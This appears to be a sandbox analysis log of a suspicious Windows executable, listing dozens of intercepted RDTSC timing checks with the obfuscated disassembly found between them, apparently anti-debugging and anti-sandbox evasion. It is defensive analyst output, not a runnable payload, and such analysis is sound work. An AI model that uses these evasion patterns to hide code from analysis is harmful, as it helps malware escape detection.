Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703394 second address: 703399 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB436 second address: 6FB447 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007F100CBC40B6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB447 second address: 6FB44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB44D second address: 6FB457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB457 second address: 6FB45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB45C second address: 6FB475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB475 second address: 6FB479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707391 second address: 7073A3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F100CBC40B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707A94 second address: 707AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F100CB9508Ch 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jg 00007F100CB95076h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707AC3 second address: 707ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707ACC second address: 707AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707AD0 second address: 707B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jg 00007F100CBC40D7h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edx 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F100CBC40C3h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707B25 second address: 707B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707B2B second address: 707B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F603 second address: 70F618 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F100CB9507Bh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F618 second address: 70F61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EC5D second address: 70EC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EC61 second address: 70EC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F4A0 second address: 70F4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F4A4 second address: 70F4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F4AA second address: 70F4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F100CB95086h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F4C8 second address: 70F4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712837 second address: 71283B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7129A0 second address: 7129A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7129A6 second address: 7129C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F100CB95086h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712B8D second address: 712B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7135B6 second address: 7135BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7135BB second address: 7135C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7137B0 second address: 7137C2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F100CB95076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F100CB95076h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713861 second address: 71388F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F100CBC40B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F100CBC40C0h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007F100CBC40BCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714861 second address: 714869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716C2B second address: 716C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716C2F second address: 716C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7177A1 second address: 7177A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7181BE second address: 7181E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7177A5 second address: 7177A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718E33 second address: 718EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jnc 00007F100CB95076h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F100CB95078h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov di, si 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F100CB95078h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b mov edi, 6A468580h 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D3B11h], eax 0x00000058 push eax 0x00000059 jnp 00007F100CB95080h 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719725 second address: 719730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD08 second address: 71CD0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD0E second address: 71CD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DC00 second address: 71DC6E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F100CB9507Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx ebx, si 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F100CB95078h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F100CB95078h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 jmp 00007F100CB95085h 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f pushad 0x00000050 popad 0x00000051 pop eax 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EC55 second address: 71EC82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007F100CBC40C0h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FBE8 second address: 71FBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EEBB second address: 71EEC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FBEC second address: 71FC02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EEC1 second address: 71EEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EEC5 second address: 71EEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720CD0 second address: 720CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720CD4 second address: 720CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F100CB9507Ch 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FDCE second address: 71FDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FDD2 second address: 71FDE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F100CB9507Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FDE0 second address: 71FE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 call 00007F100CBC40C8h 0x0000000b pop ebx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+122D3A6Fh], ebx 0x00000019 movzx edi, si 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 call 00007F100CBC40BCh 0x00000028 mov di, si 0x0000002b pop edi 0x0000002c mov eax, dword ptr [ebp+122D0451h] 0x00000032 je 00007F100CBC40BCh 0x00000038 mov edi, dword ptr [ebp+122D2E3Dh] 0x0000003e push FFFFFFFFh 0x00000040 jmp 00007F100CBC40C0h 0x00000045 nop 0x00000046 jmp 00007F100CBC40C6h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721D22 second address: 721D41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F100CB95087h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722CF2 second address: 722D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722D01 second address: 722D7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F100CB95078h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F100CB95078h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edi 0x00000044 call 00007F100CB95078h 0x00000049 pop edi 0x0000004a mov dword ptr [esp+04h], edi 0x0000004e add dword ptr [esp+04h], 00000017h 0x00000056 inc edi 0x00000057 push edi 0x00000058 ret 0x00000059 pop edi 0x0000005a ret 0x0000005b mov di, 62F2h 0x0000005f push eax 0x00000060 pushad 0x00000061 jbe 00007F100CB9507Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722D7A second address: 722D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F100CBC40C8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721F4D second address: 721F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721F52 second address: 721F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F100CBC40C2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723D2E second address: 723D63 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F100CB95076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F100CB95082h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F100CB95085h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724E1D second address: 724E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b or bh, FFFFFFD7h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F100CBC40B8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a jmp 00007F100CBC40C4h 0x0000002f push 00000000h 0x00000031 mov bl, dh 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push edi 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723E73 second address: 723E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726F83 second address: 726F89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727ECC second address: 727EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CB95089h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F100CB95076h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728F95 second address: 728FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F100CBC40B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729F1C second address: 729F4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F100CB95087h 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726043 second address: 726047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726047 second address: 726050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726050 second address: 726070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F100CBC40C7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726070 second address: 726086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F100CB95081h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724F69 second address: 724F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F100CBC40C8h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007F100CBC40B8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724F96 second address: 724F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72612C second address: 726131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C063 second address: 72C070 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C070 second address: 72C074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C074 second address: 72C07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B11F second address: 72B125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B125 second address: 72B129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B1F9 second address: 72B1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B1FD second address: 72B22E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F100CB95087h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E7B4 second address: 72E7BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E7BA second address: 72E7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F5D5 second address: 72F5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CBC40C3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734C5B second address: 734C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734DC0 second address: 734DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F100CBC40BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734DCD second address: 734DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AAB9 second address: 73AACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CBC40BEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AB7D second address: 73AB8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AB8D second address: 73ABF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F100CBC40BFh 0x00000010 pop edx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jne 00007F100CBC40BAh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jnp 00007F100CBC40C2h 0x00000023 jmp 00007F100CBC40BCh 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jng 00007F100CBC40DBh 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F100CBC40C9h 0x00000039 rdtsc
